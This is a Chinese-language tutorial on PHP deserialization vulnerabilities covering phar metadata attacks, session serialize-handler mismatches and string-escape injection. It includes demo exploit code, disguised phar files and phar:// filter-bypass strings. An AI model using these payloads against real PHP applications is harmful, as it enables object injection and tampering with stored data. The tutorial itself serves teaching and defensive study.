- 序列化和反序列化的由来:
为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让其销毁,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化
序列化的目的是方便数据的传输和存储
反序列化,简单来理解起来就是将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。
序列化他只序列化属性 ,不序列化方法
- 为什么会产生php反序列化漏洞?
PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的
反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。
访问控制修饰符不同,序列化后属性的长度和属性值会有所不同,如下所示:
public:属性被序列化的时候属性值会变成 属性名
protected:属性被序列化的时候属性值会变成 \x00*\x00属性名
private:属性被序列化的时候属性值会变成 \x00类名\x00属性名
php
<?php
class User{
public $age =0;
public $name='player';
public function printData()
{
echo 'User '.$this->name.' is '.$this->age.' years old.'.PHP_EOL;
}
}
$test_user=new User();
$test_user->age=12;
$test_user->name='god';
$test_user->printData();
echo serialize($test_user);
可以看到序列化一个对象后将会保存对象的所有变量,并且发现序列化后的结果都有一个字符,这些字符都是以下字母的缩写:
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";...}
反序列化:
php
<?php
class User{
public $age =0;
public $name='player';
public function printData()
{
echo 'User '.$this->name.' is '.$this->age.' years old.'.PHP_EOL;
}
}
$test=unserialize('O:4:"User":2:{s:3:"age";i:12;s:4:"name";s:3:"god";}');
$test->printdata();
在反序列化一个对象前,这个对象的类 必须在反序列化之前定义。否则会报错
- 魔术方法
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,常见如下,详见手册:
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
不同的魔术方法在不同的应用场景下被调用,同时由于魔术方法的特性,在调用过程中也可能产生不同的漏洞
- php反序列化漏洞产生的条件:
一、unserialize
的参数可控。
二、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
常见通过魔术方法来扩大反序列化攻击面的例题就不展开了,下面记录几种其他常见类型的反序列化攻击
phar反序列化
- 利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为"跳板"。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
phar反序列化即在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
phar文件结构
- a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
- a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
- the file contents
被压缩文件的内容。
- [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。
根据文件结构可以自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
注意:要将php.ini中的phar.readonly
选项设置为Off
,否则无法生成phar文件。
php
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
可见meta-data是通过序列化的方式存储的
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
这是因为在phar的底层代码是如此表示的:
这里使用file_get_contents函数来测试,执行了反序列化操作,可见以上解释是正确的
因此,当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作
伪造文件格式
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
php
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
可见成功伪造了gif文件头
绕过过滤
phar://被过滤
有以下几种方法可以绕过:
- compress.bzip2://phar://
- compress.zlib://phar:///
- php://filter/resource=phar://
- $z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
session反序列化
session的概念不难理解,具体session的知识不再展开
session.serialize_handler定义的引擎有三种,如下表所示:
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
自 PHP 5.5.4 起可以使用 php_serialize
注意:在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize
php
<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
传入abc,观察下存储的形式:
- php : lemon|s:3:"abc";
- php_serialize : a:1:{s:5:"lemon";s:3:"abc";}
- php_binary : lemons:3:"abc";
漏洞的产生涉及的其实是这两个处理器:
//ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
当php_serialize处理器处理接收 session,php处理器处理session时便会造成反序列化的可利用,因为php处理器是有一个|间隔符,当php_serialize处理器传入时在序列化字符串前加上|,即变成:
|O:7:"xiaoxin":1:{s:4:"name";s:7:"xiaoxin";}"
此时session值为a:1:{s:7:"session";s:44:"|O:7:"xiaoxin:1:{s:4:"name";s:7:"xiaoxin";}";}
当php处理器处理时,会把|当作间隔符,取出后面的值去反序列化,即是我们构造的payload:
|O:7:"xiaoxin:1:{s:4:"name";s:7:"xiaoxin";}"
php
<?php
//session1.php
highlight_file("session1.php");
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session']=$_GET['session'];
php
<?php
//session2.php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class Test{
public $name='未反序列化';
function __wakeup()
{
echo "test,test";
}
function __destruct()
{
echo PHP_EOL.$this->name;
}
}
$str=new Test();
php
<?php
//生成payload
class Test{
public $name='反序列化成功';}
$str=new Test();
echo serialize($str);
前两个文件作用很清晰,他们的php处理器不一样,session1.php用于接收get请求的session值,session2.php反序列前会输出"未反序列化",反序列化后会输出name值,这里我们构造|加序列化字符使class输出name值,则说明反序列化成功
这里运行第三个php文件,然后构造payload:
php
|O:4:"Test":1:{s:4:"name";s:18:"反序列化成功";}
传入session1.php后,session文件已发生变化:
这时访问session2.php文件,session.serialize_handler解释器执行了类型为php模式时的反序列化,将管道符后面的内容进行反序列化,这时Test类中的$name已经变为"反序列化成功",并在析构函数执行时自动输出了,因此反序列化利用成功
反序列化字符逃逸
php在反序列化时,必须严格按照序列化规则才能实现反序列化,超出的部分不会被反序列化成功,在范围之外的字符都会被忽略,不会影响反序列化的正常进行。而且反序列化字符串都是以";}
结尾的,如果将";}
添入到需要反序列化的字符串中(结尾之前),就能让反序列化提前闭合,从而产生逃逸
同时要保证新构造的反序列化字符串的长度不会报错
这一知识点在CTF比赛中可能会遇见,实际工作中不是很常见
可以用以下脚本来测试:
php
<?php
function filter($str)
{
return str_replace('bb', 'ccc', $str);
}
class A
{
public $name = '';
public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
//$res2="O:1:\"A\":2:{s:4:\"name\";s:27:\"\";s:4:\"pass\";s:6:\"hacker\";}\";s:4:\"pass\";s:6:\"123456\";}";
$c=unserialize($res);
var_dump($c);
?>
这里我们的目的就是间接通过反序列化改变pass的值
我们先理解代码执行顺序,这里是先序列化,然后再用序列化完的字符串进行过滤
所以当name的值为aaaabb的时候,过滤完name的值是aaaaccc,七个字符,但是序列化字符串依然认为name的值是6个,所以根据上面前置知识的特性二,这里反序列化失败,var_dump($c)的结果是bool(false)
但是我们可以利用特性一去闭合,当我们让name的值为";s:4:"pass";s:6:"hacker";}
生成的字符串为:
O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
这里我们想让hacker去顶掉后面的123456,成为新的pass的键值,但是由于这个位置的值为空,并且s的字符串长度为27,因此name会认为现在的键值为";s:4:"pass";s:6:"hacker";}
,这样就没有成功的把pass的值给顶掉,而是仍然正常反序列化了
如下:
因此需要使用到filter函数,filter函数看似想增加代码的安全性,实际上是增加了代码的危险性。
先想,我们现在想要顶掉123456的键值,现在原先想的name的键值为";s:4:"pass";s:6:"hacker";}
,长度为27,也就是说我们要往后面顶27个字符
过滤函数的意思是每2个b,替换为3个c,原长度增加1,因此我们可以通过不断替换增加长度,直到多出27个c,也就可以成功顶掉后面的27个字符
因此当我们有54个b时,最终的长度会增加27
因此我们的payload为:
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}
当经过filter函数的替换后,变为:
O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
此时就已经实现将后面的27个字符顶掉
运行后变为:
可见pass的值已经被修改